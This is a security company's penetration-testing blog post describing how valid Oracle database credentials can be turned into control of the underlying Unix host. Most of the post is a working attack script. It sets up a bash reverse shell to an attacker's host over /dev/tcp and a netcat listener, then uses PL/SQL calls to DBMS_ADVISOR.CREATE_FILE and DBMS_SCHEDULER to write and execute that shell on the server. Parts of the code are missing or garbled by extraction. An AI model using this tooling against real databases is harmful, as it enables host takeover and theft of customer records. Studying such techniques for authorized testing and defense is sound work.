Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Oracle Databases, a Penetration Tester’s View of Unauthorized Access to Customer Records

When penetration-testing you get to see lots of seemingly unbelievable security failures, but they're so common that as penetration testers you're never really surprised.

We know from our Global Security Report 2012 ( that 89% of the
300+ data breaches we investigated last year, the target data was "customer records" - and you might assume that a DBA will always know what it takes to secure an organization's keys to the kingdom – customer records.

However, we in SpiderLabs are confronted with Oracle databases on internal network penetration tests where default or easily guessable Oracle System ID's (SIDs) are used, and default or easily guessable database credentials are used. Having access to the Oracle database with one credential usually ends up with total system compromise, including the host, if not locked down sufficiently.

Just to recap the basics of Oracle hacking (not using available exploits), for those who are unfamiliar:

1) Find an Oracle database

2) Find the SID

3) Find username/password

4) Login and enumerate the DB schema

5) Retrieve the data you're after

6) Go after the OS.

The point of this blog is not to reiterate the basics (points 1-5) which are sprawled elsewhere on the Internet in great detail, but more point 6) going after the OS.

Going back to my scenario… assume we've harvested the data from the database, and we still have time left to own the host. In this example, we'll assume that only the Oracle port is accessible on the target host, but we would like an interactive shell, to further our attack possibilities. So, I wasn't interested in testing out all the possible exploits available, but more what can you do with a valid login credential to the Oracle database to read/write and gain access to the underlying host.

I was after some PL/SQL code that would create a text file (a bash script) on the target host, change it to an executable (it was UNIX), run it and then see what I could do from there.

Well, my own goal was to get a shell onto the box. Given that only Oracle TCP 1521 was open, we needed a reverse shell. One of the simplest reverse shells out there is a bit of bash hokey pokey:

bash -i >& /dev/tcp/ 0>&1

When run on our target host, this creates a new descriptor which is assigned to a network node. All we have to do is create a TCP listener on our attacking host, the same value as the port assigned above (12345):

nc –l –p 12345

OK, so I knew what I wanted to do in my bash script to write on the Oracle host. What's the best way to interact with the host operating system, i.e. write a script to the local system and run it?

Oracle has a number of tools that are shipped by default and there are different methods of writing to the operating system. The method I used provided the least grief, and worked first time. Note that the method I'll show below will work from Oracle 10g or greater.

    • I used the SYS.DBMS_ADVISOR.CREATE_FILE function to create a file and write it to /tmp. The file contents contained the bash reverse shell commands 'bash -i >& /dev/tcp/$HOST/$PORT 0>&1' (where $HOST was the attacking IP I gave to the script, and $PORT was the port listener that I created with netcat
    • I then used the DBMS_SCHEDULER.CREATE_JOB function to create a job called 'myjob' which ran the command chmod 755 on /tmp/
    • I finally used the DBMS_SCHEDULER again to run my script /tmp/

The code is shown below: 






echo "Open a tcp port listener"

echo "Enter your listening TCP port:"

read PORT

echo "Enter your attacking host IP:"

read HOST

echo "Go and run your listener e.g. nc -l -p $PORT ....hit any key when ready"


/pentest/SpiderLabs/oracle/instantclient/sqlplus $USER/$PW@//$IP/$SID<<DKSQL


GRANT read,write on DIRECTORY MYDIR to public;

SET define off;


mydata clob;

mydir varchar2(200);

myfile varchar2(700);


mydata:='bash -i >& /dev/tcp/$HOST/$PORT 0>&1';

mydir:= 'MYDIR';


SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);


dbms_scheduler.create_job(job_name => 'myjob',

job_type => 'executable',

job_action => '/bin/chmod',

number_of_arguments => 2,

enabled => FALSE,

auto_drop => TRUE);




dbms_scheduler.create_job(job_name => 'DKSHELL',

job_type => 'EXECUTABLE',

job_action => '/bin/bash',

number_of_arguments => 1,

start_date => SYSTIMESTAMP,

enabled => FALSE);







Sticking this code in my own script, created a useful tool I could use to gain a shell onto an Oracle box.So, on your attacking host, run the script, give it <USER> <PASSWORD> <Oracle IP> < SID>. It asks for the listener port, set that up with netcat using nc –l –p <Port>.

The window on the left shows the script being run, the window on the right shows a reverse shell obtained on the target system. Using this technique, the possibilities are endless what script you could run on the host operating system. Next steps, get it working for Windows Oracle hosts!


Latest SpiderLabs Blogs

Secure Access Service Edge: Another Multi-Tool for the SOC

Over the years, several security defense architectures have merged into a single solution. Endpoint detection tools can perform sophisticated detections and correlations that used to require a...

Read More

Search & Spoof: Abuse of Windows Search to Redirect to Malware

Trustwave SpiderLabs has detected a sophisticated malware campaign that leverages the Windows search functionality embedded in HTML code to deploy malware. We found the threat actors utilizing a...

Read More

The Sentinel’s Watch: Building a Security Reporting Framework

Imagine being on shift as the guard of a fortress. Your job is to identify threats as they approach the perimeter. The more methods you have for detecting those threats, the better your chances of...

Read More